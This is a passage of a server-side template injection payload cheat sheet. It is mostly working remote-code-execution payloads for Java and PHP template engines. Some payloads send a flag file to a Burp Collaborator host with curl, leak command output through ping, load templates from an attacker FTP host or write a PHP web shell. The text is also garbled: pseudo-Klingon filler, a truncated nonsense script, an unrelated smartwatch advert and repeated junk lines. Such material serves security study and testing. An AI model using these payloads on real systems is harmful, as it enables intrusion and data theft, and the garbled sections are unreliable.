<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Qapla'!

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Qapla'!

Thymeleaf

Thymeleaf Daq, SSTI vulnerabilities laH expression ${7*7} jatlhlaHbe'. Hoch remote code execution, expressions laH vItlhutlh jatlhlaHbe':

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf Daq, expressions vItlhutlh specific attributes vItlhutlh. 'ach, expression inlining vItlhutlh template locations vItlhutlh, syntax vItlhutlh [[...]] be' [(...)] jatlhlaHbe'. So, SSTI test payload vItlhutlh [[${7*7}]] jatlhlaHbe'.

'ach, payload vItlhutlh qatlh generally low. Thymeleaf's default configuration vItlhutlh dynamic template generation vItlhutlh; templates predefined vItlhutlh. Developers vItlhutlh 'e' vItlhutlh TemplateResolver vItlhutlh templates strings on-the-fly vItlhutlh, 'oH uncommon.

Thymeleaf Daq, expression preprocessing vItlhutlh, double underscores (__...__) vItlhutlh expressions preprocessed vItlhutlh. vItlhutlh feature vItlhutlh expressions construction vItlhutlh, Thymeleaf's documentation vItlhutlh jatlhlaHbe':

#{selection.__${sel.code}__}

Thymeleaf-даги Чувохиятлик Нусхаси Намунаси

Дастур коди снеппети кўришни олинг, унда ишлатиш учун мухтож бўлиши мумкин:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Klingon Translation:

Qapla'! QaghmeylIj vItlhutlhlaHbe'chugh, vaj template engine vItlhutlhlaHbe'chugh, vaj 'oHmeyDaq remote code execution vItlhutlhlaHbe'chugh, URLs vItlhutlhlaHbe'chugh:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Qapla'!

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

  • Read /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Custom Script for payload generation

    DaH jImej:
      1. QaH jImejDaq 'payload' De'vam:
          - 'payload' De'vam = 'payload' De'vam.replace('a', 'a|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('b', 'b|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('c', 'c|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('d', 'd|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('e', 'e|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('f', 'f|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('g', 'g|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('h', 'h|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('i', 'i|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('j', 'j|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('k', 'k|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('l', 'l|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('m', 'm|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('n', 'n|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('o', 'o|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('p', 'p|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('q', 'q|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('r', 'r|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('s', 's|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('t', 't|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('u', 'u|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('v', 'v|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('w', 'w|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('x', 'x|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('y', 'y|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('z', 'z|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('A', 'A|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('B', 'B|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('C', 'C|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('D', 'D|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('E', 'E|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('F', 'F|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('G', 'G|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('H', 'H|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('I', 'I|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('J', 'J|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('K', 'K|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('L', 'L|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('M', 'M|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('N', 'N|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('O', 'O|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('P', 'P|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('Q', 'Q|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('R', 'R|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('S', 'S|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('T', 'T|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('U', 'U|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('V', 'V|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('W', 'W|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('X', 'X|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('Y', 'Y|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('Z', 'Z|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('0', '0|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('1', '1|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('2', '2|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('3', '3|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('4', '4|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('5', '5|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('6', '6|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('7', '7|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('8', '8|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('9', '9|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('.', '.|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace(',', ',|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace(';', ';|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace(':', ':|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('!', '!|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('?', '?|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('(', '(|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace(')', ')|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('[', '[|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace(']', ']|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('{', '{|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('}', '}|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('<', '<|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('>', '>|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('/', '/|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\\', '\\|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('&', '&|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('$', '$|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('#', '#|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('@', '@|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('%', '%|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('^', '^|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('*', '*|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('_', '_|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('-', '-|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('+', '+|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('=', '=|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('~', '~|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('`', '`|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('|', '|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace(' ', ' |{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\n', '\n|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\r', '\r|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\t', '\t|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\v', '\v|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\f', '\f|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\b', '\b|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\a', '\a|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\e', '\e|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\0', '\0|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\1', '\1|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\2', '\2|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\3', '\3|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\4', '\4|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\5', '\5|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\6', '\6|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\7', '\7|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\8', '\8|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\9', '\9|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\.', '\.|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\,', '\,|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\;', '\;|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\:', '\:|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\!', '\!|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\?', '\?|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\(', '\(|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\)', '\)|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\[', '\[|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\]', '\]|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\{', '\{|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\}', '\}|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\<', '\<|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\>', '\>|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\/', '\/|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\\', '\\|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\&', '\&|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\$', '\$|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\#', '\#|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\@', '\@|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\%', '\%|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\^', '\^|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\*', '\*|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\_', '\_|{{7*7}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\-', '\-|{{config}}')
          - 'payload' De'vam = 'payload' De'vam.replace('\+', '\+|{{7*7}}')
          - 'payload' De'vam = 'payload' De'v
    
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Qapla'!

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble (Java) vItlhutlh ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

New version of Pebble:

The new version of Pebble is here, packed with exciting features and improvements. Whether you're a seasoned user or new to the Pebble ecosystem, this update has something for everyone. Let's dive into what's new:

  1. Enhanced Performance: We've optimized the Pebble's performance to ensure a smoother and faster user experience. You'll notice improved responsiveness and reduced lag, making your interactions with the device more seamless than ever.

  2. Extended Battery Life: We understand the importance of battery life, and we've made significant enhancements to extend the Pebble's battery performance. Now you can enjoy your Pebble for even longer without worrying about running out of power.

  3. New Watch Faces: We've added a collection of stunning new watch faces to give your Pebble a fresh and personalized look. Choose from a variety of styles and designs to match your mood and style.

  4. Improved Health Tracking: Keeping track of your health and fitness goals is easier than ever with the new and improved health tracking features. Monitor your steps, heart rate, sleep patterns, and more, all from your wrist.

  5. Enhanced Notifications: Stay connected and never miss an important update with our enhanced notification system. Receive alerts for calls, messages, emails, and other notifications directly on your Pebble, so you're always in the loop.

  6. Expanded App Ecosystem: Discover new and exciting apps in the Pebble app store. We've expanded our app ecosystem to offer a wider range of applications, allowing you to customize your Pebble experience even further.

  7. Improved Water Resistance: The new Pebble is now even more water-resistant, making it perfect for all your outdoor adventures. Whether you're swimming, surfing, or simply caught in the rain, your Pebble will keep up with you.

Upgrade to the latest version of Pebble today and unlock a world of possibilities. Experience the future of smartwatches with Pebble's cutting-edge technology and innovative features.

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

tlhIngan Hol

Jinjava (Java) vItlhutlh

English

Jinjava is a template engine written in Java that allows you to render dynamic content in your web applications. It is commonly used in Java-based web frameworks such as Spring Boot.

Server-Side Template Injection (SSTI) is a vulnerability that occurs when user-supplied input is not properly sanitized and is directly embedded into a template engine. This can lead to remote code execution and other security risks.

To exploit SSTI in Jinjava, you need to identify the injection point and craft a payload that will execute arbitrary code. This can be done by injecting Jinjava expressions into the template, which will be evaluated and executed by the server.

To prevent SSTI vulnerabilities, it is important to properly sanitize user input and validate any data that is being passed to the template engine. Additionally, keeping your software and libraries up to date can help mitigate potential risks.

tlhIngan Hol

Jinjava (Java) vItlhutlh Hoch vItlhutlh vItlhutlh Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch Hoch

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - Command execution

Fixed by https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Qapla'!

Hubspot - HuBL (Java)

  • {% %} statement delimiters
  • {{ }} expression delimiters
  • {# #} comment delimiters
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Qapla'!

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:

  • JavaServer Faces (JSF): Employs EL to bind components in JSF pages to the corresponding backend data and actions.
  • JavaServer Pages (JSP): EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data.
  • Contexts and Dependency Injection for Java EE (CDI): EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure.

Check the following page to learn more about the exploitation of EL interpreters:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

The following Security Manager bypasses were taken from this writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Qapla'

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Template format

Twig - Template format

Twig - Template format

Twig - Template format

Twig - Template format

Twig - Template format

Twig - Template format

Twig - Template format

Twig - Template format

Twig - Template format

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Qapla'!

Plates (PHP)

Plates HochDIch'e' PHP, 'ej Twig jatlhlaHbe'chugh, 'ach, Twig, 'ej, 'ach, native PHP code templates, Plates, intuitive PHP developers.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template. This can lead to remote code execution (RCE) and other serious security issues.

How does SSTI work?

SSTI occurs when user input is directly embedded into a server-side template without proper sanitization or validation. This allows an attacker to inject code that will be executed by the server when the template is rendered.

Exploiting SSTI

To exploit SSTI, an attacker needs to identify a vulnerable server-side template and find a way to inject their malicious code. This can be done by manipulating user input or by exploiting other vulnerabilities in the application.

Once the attacker successfully injects their code, it will be executed by the server, allowing them to perform various actions such as accessing sensitive data, modifying the application's behavior, or even gaining remote control over the server.

Preventing SSTI

To prevent SSTI vulnerabilities, it is important to follow secure coding practices:

  • Input validation and sanitization: Always validate and sanitize user input before embedding it into a server-side template.
  • Template engine security: Use template engines that have built-in security features, such as automatic escaping of user input.
  • Least privilege principle: Ensure that the server-side template has the minimum necessary permissions to prevent unauthorized access.

Conclusion

Server-Side Template Injection is a serious vulnerability that can lead to remote code execution and other security issues. By following secure coding practices and regularly testing for vulnerabilities, developers can mitigate the risk of SSTI attacks.

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

SSTI (Server-Side Template Injection)

Description

SSTI (Server-Side Template Injection) is a vulnerability that allows an attacker to inject malicious code into a server-side template. This can lead to remote code execution, information disclosure, and other security risks.

Exploitation

To exploit SSTI, an attacker needs to identify a vulnerable server-side template and inject their own code into it. This can be done by manipulating user input that is directly used in the template rendering process.

The following are some common techniques used to exploit SSTI:

  1. Template engine-specific payloads: Different template engines have their own syntax and features. Attackers can use engine-specific payloads to execute arbitrary code. For example, in Jinja2, the {{7*7}} payload will execute the Python expression 7*7 and return the result.

  2. Template context manipulation: Attackers can manipulate the template context to access sensitive data or execute code. This can be done by injecting code that modifies the context variables or by accessing predefined variables that contain sensitive information.

  3. Template chaining: If multiple templates are used in a chain, an attacker can exploit SSTI in one template to gain access to another template and execute code in it. This can be done by injecting code that references the other template or by using template inclusion features provided by the framework.

Prevention

To prevent SSTI vulnerabilities, it is important to follow secure coding practices:

  1. Input validation and sanitization: Always validate and sanitize user input before using it in a server-side template. This can help prevent code injection attacks.

  2. Context isolation: Ensure that the template context is properly isolated from sensitive data and code execution. Avoid exposing sensitive variables or functions to the template context.

  3. Template engine configuration: Configure the template engine to use a safe mode or disable dangerous features. This can help mitigate the impact of SSTI vulnerabilities.

  4. Regular updates: Keep the template engine and its dependencies up to date to ensure that any security patches are applied.

References

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Qapla'!

PHPlib je HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB vItlhutlh PHPlib 'ej Pear Daq.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

SSTI (Server-Side Template Injection)

Description

